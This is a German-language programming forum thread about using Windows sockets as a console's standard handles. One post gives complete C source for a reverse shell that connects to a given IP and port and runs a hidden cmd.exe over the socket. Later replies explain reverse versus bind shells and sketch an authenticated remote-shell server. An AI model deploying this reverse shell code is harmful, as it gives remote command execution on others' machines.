Lokale HANDLE´s auch im Netzwerk verwendbar?



  • frag Microsoft 😉
    im Kernel werden Sockest, die mit socket erzeugt wurden und solche, die über WSASocket erzeugt wurden, anderst behandelt - sprich WSASockets können auch über die Standard-Datei funktionen ReadFile und WriteFile genutzt werden, sockets nicht.



  • Ah danke. Ich glaube es liegt daran das die Funktion 'socket' den Socket mit WSA_FLAG_OVERLAPPED erstellt und so funktionieren wahrscheinlich nur Overlapped ReadFile aufrufe.



  • wenns es nur darum geht, eine Konsole sprich stdin und stdout über das Netzwerk zu kontrollieren, geht das in Windows auch ohne Pipes. Normale sockets lassen sich dazu direkt verwenden.

    1. einen Socket mit WSASocket erzeugen (nicht mit socket!)
    2. WSAConnect bzw. WSAAceppt um einen Verbindung zu bekommen
    3. diesen Socket dann bei CreateProcess als StdHandle(s) angeben and bInheritHandles auf TRUE setzen

    Danke, habe einiges zum Thema WSASocket bei google gesucht und etwas gefunden was ich schon die ganze Zeit suche. Es handelt sich nicht um Remote Shell sondern Reverse Shell(kennt jemand den Unterschied?)

    Habe hier ein Beispiel Code einer Reverse Shell die cmd startet:

    #include <winsock2.h>
    #include <stdio.h>
    #include <winsock.h>
    #include <stdlib.h>
    
    #define RCVBUFSIZE 32
    
    void main(int argc,char *argv[])
    {
    	//Declaring the vars
        int sock;
        struct sockaddr_in cbAddr;
        unsigned short cbPort;
        char *cbIp;
        WSADATA wsaData;
    	STARTUPINFO si;
    	PROCESS_INFORMATION pi={0};
    	char comspec[MAX_PATH];
    
    //parsing arguments to the corresponding vars.
    	cbIp = argv[1];
    	cbPort = atoi(argv[2]);
    
    //starting up wsa
        if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
        {
            printf("WSAStartup() failed");
            exit(1);
        }
    //Make shure it's WSASocket()
        if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,0,0,0)) < 0)
    	{
            printf("Socket Failed\n");
    		WSACleanup();
    		exit(1);
    	}
    
    //filling the struct
        memset(&cbAddr, 0, sizeof(cbAddr));
        cbAddr.sin_family      = AF_INET;
        cbAddr.sin_addr.s_addr = inet_addr(cbIp);
        cbAddr.sin_port        = htons(cbPort);
    
    	// Establish the connection to the echo server
        if (connect(sock, (struct sockaddr *) &cbAddr, sizeof(cbAddr)) < 0)
    	{
            printf("connect() failed\n");
    		closesocket(sock);
    		WSACleanup();
    		exit(1);
    	}
    //Setting up the startupinfo etc to make shure cmd get's a both way traffic
    		memset(&si,0,sizeof(si));
    		GetStartupInfo(&si);
    		si.cb = sizeof(si);
    		si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    		si.wShowWindow = SW_HIDE;
    		si.hStdInput = (HANDLE)sock;
    		si.hStdOutput = (HANDLE)sock;
    		si.hStdError =(HANDLE)sock;
    //getting cmd.exe a bit more fancier then hardcoding it.
    		if(GetEnvironmentVariable("COMSPEC", comspec, MAX_PATH) == 0)
    		{
    			printf("Environment var failed\n");
    			closesocket(sock);
    			exit(1);
    		}
    		if(!CreateProcess(NULL,comspec, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, 0, NULL, &si, &pi)) //CREATE_NO_WINDOW
    		{
    			printf("process creation failed\n");
    			closesocket(sock);
    			CloseHandle(pi.hProcess);
    			CloseHandle(pi.hThread);
    		}
    
    		WaitForSingleObject(pi.hProcess, INFINITE);
    		CloseHandle(pi.hProcess);
    		CloseHandle(pi.hThread);
    		closesocket(sock);
    }
    

    Wie funktioniert nun der Code also die STDIN/-OUT über Sockets könnt ihr mir bitte was dazu sagen.

    Wie sieht nun ein Client aus der mit der Reverse Shell kommunizieren kann?



  • imho heißt das Reverse Shell da der Rechner, der die Shell bereitstellt, auf den Recher, der kontrolliert, connected - anderst herum bind shell. Wobei die Begriffe wohl eher bei exploits etc. gebräuchlich sind.

    Für den Client brauchst du eigentlich einen klassichen Server 😉
    1. socket erzeugen
    2. bind
    3. accept
    4. go



  • So wirklich habe ich den Unterschied zwischen einer Reverse- Remote Shell nicht verstanden, vielleicht kann mir jemand es nochmal erklären.

    Ich habe folgendes vor:

    - Der Server läuft die ganze Zeit und wartet auf einen Client.
    - Der Client verbindet sich mit dem Server, welcher dann die Authentifizierung startet
    - Die STDOUT von der Shell wird zum Client übermittelt
    - Der Client kann nun Befehle in der Konsole eingeben welche per STDIN zum Server übergeben werden.

    Würde der Code oben nun als so ein Server funktionieren?



  • kernel64 schrieb:

    So wirklich habe ich den Unterschied zwischen einer Reverse- Remote Shell nicht verstanden, vielleicht kann mir jemand es nochmal erklären.

    Wenn ich ScriptGod richtig verstanden habe, besteht der Unterschied darin, wer die Verbindung eröffnet. Bei der Reverse-Shell verbindet sich der Shell-Rechner zu dem anderen, bei der Remote-Shell verbindet sich der andere zum Rechner, wo die Shell-Befehle ausgeführt werden soll.



  • Nein, der Code würde so nicht funktionieren. Der Code verbindet sich aktiv und wartet nicht... bei deiner Anforderung musst du erst auf eine Verbindung warten... dazu gibt's sehr viele Tutorials über socket-Programmierung



  • Ok, also das was ich dann vorhabe ist nun eine Remote Shell.

    @ScriptGod

    Ich hatte Anfangs schon ein Client/Server Programm bei c-worker.ch gefunden, es ist ein Server & Client Chat (selectchatsrv.cpp & selectchatclient.cpp):
    http://www.c-worker.ch/winsock/index.php

    Da du aber meintest:

    1. einen Socket mit WSASocket erzeugen (nicht mit socket!)
    2. WSAConnect bzw. WSAAceppt um einen Verbindung zu bekommen
    3. diesen Socket dann bei CreateProcess als StdHandle(s) angeben and bInheritHandles auf TRUE setzen

    Das würde mit dem Code nicht funktioniere, d.h. ich müsste den Code umschreiben oder ein neuen Server/Client mit Windows Sockets erstellen.



  • das von mir Beschrieben kannst ohne weiters so einbauen und die Beispiele eigentlich übernehmen... musst deinen Part nur dazwischen schieben... grober Ablauf:

    Server macht:
    1. WSASocket
    2. bind an port den du möchtest und evtl. auch Interface/IP
    3. accept auf client warten
    4. recv um Authentifizierung zu bekommen
    5a. Verbindung nicht erlaubt -> closesocket
    5b. Verbidnung erlaubt -> CreateProcess

    Client macht:
    1. socket/WSASocket
    2. connect auf den anderen Rechner (IP+Port)
    3. Sende Authentifizierung
    4a. Verbindung wird beendet durch den anderen Rechner
    4b. Shell 😉

    Natürlich kann man das ganze auch noch Ergänzung um eine Bestätigungs- oder Ablehnungsnachricht... oder Threads usw. einbauen



  • Hallo, habe nun ein Client/Server Programm von hier: http://msdn2.microsoft.com/en-us/library/ms737889.aspx

    Habe den Code bißchen verändert, den Teil mit socket() in WSASocket() geändert.

    Jetzt bin ich an dem Punkt wo man CreateProcess() integrieren muss, nun weiß ich nicht weiter wie ich fortfahren soll, muss nicht bei der Kommunikation etwas gesendet/empfangen werden?

    SERVER CODE

    #include <winsock2.h>
    #include <ws2tcpip.h>
    #include <stdlib.h>
    #include <stdio.h>
    
    #pragma comment(lib, "Ws2_32.lib")
    
    #define DEFAULT_BUFLEN 512
    #define DEFAULT_PORT "112"
    
    int __cdecl main(void) 
    {
    	WSADATA wsaData;
    	SOCKET ListenSocket = INVALID_SOCKET,
    	ClientSocket = INVALID_SOCKET;
    	struct addrinfo *result = NULL,	hints;
    	char recvbuf[DEFAULT_BUFLEN];
    	int iResult, iSendResult;
    	int recvbuflen = DEFAULT_BUFLEN;
    	STARTUPINFO si;
    	PROCESS_INFORMATION pi={0};
    	char comspec[MAX_PATH]; 
    
    	// Initialize Winsock
    	iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
    	if (iResult != 0) {
    		printf("WSAStartup failed: %d\n", iResult);
    		return 1;
    	}
    
    	ZeroMemory(&hints, sizeof(hints));
    	hints.ai_family = AF_INET;
    	hints.ai_socktype = SOCK_STREAM;
    	hints.ai_protocol = IPPROTO_TCP;
    	hints.ai_flags = AI_PASSIVE;
    
    	// Resolve the server address and port
    	iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
    	if ( iResult != 0 ) 
    	{
    		printf("getaddrinfo failed: %d\n", iResult);
    		WSACleanup();
    		return 1;
    	}
    
    	// Create a SOCKET for connecting to server
    	/*Folgende Zeile:
    	  ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
    	  geändert in:
    	*/
    	ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,0,0,0);	
    	if (ListenSocket == INVALID_SOCKET) {
    		printf("socket failed: %ld\n", WSAGetLastError());
    		freeaddrinfo(result);
    		WSACleanup();
    		return 1;
    	}
    
    	// Setup the TCP listening socket
    	iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen);
    	if (iResult == SOCKET_ERROR) 
    	{
    		printf("bind failed: %d\n", WSAGetLastError());
    		freeaddrinfo(result);
    		closesocket(ListenSocket);
    		WSACleanup();
    		return 1;
    	}
    
    	freeaddrinfo(result);
    
    	iResult = listen(ListenSocket, SOMAXCONN);
    	if (iResult == SOCKET_ERROR) {
    		printf("listen failed: %d\n", WSAGetLastError());
    		closesocket(ListenSocket);
    		WSACleanup();
    		return 1;
    	}
    
    	// Accept a client socket
    	ClientSocket = accept(ListenSocket, NULL, NULL);
    	if (ClientSocket == INVALID_SOCKET) 
    	{
    		printf("accept failed: %d\n", WSAGetLastError());
    		closesocket(ListenSocket);
    		WSACleanup();
    		return 1;
    	}
    
    	// No longer need server socket
    	closesocket(ListenSocket);	
    
    	/*  ----------------------------------
    
    		Hier kommt CreateProcess() ???
    
    	*/  ----------------------------------
    
    	// shutdown the connection since we're done
    	iResult = shutdown(ClientSocket, SD_SEND);
    	if (iResult == SOCKET_ERROR) 
    	{
    		printf("shutdown failed: %d\n", WSAGetLastError());
    		closesocket(ClientSocket);
    		WSACleanup();
    		return 1;
    	}
    
    	// cleanup
    	closesocket(ClientSocket);
    	WSACleanup();
    
    	return 0;
    }
    

    [EDIT]
    Wo nun genau kommt jetzt der Teil mit CreateProcess() im Client oder Server Code?

    Kann ich den Teil CreateProcess() von der Reverse Shell nehmen?

    Bitte um Hilfe


Anmelden zum Antworten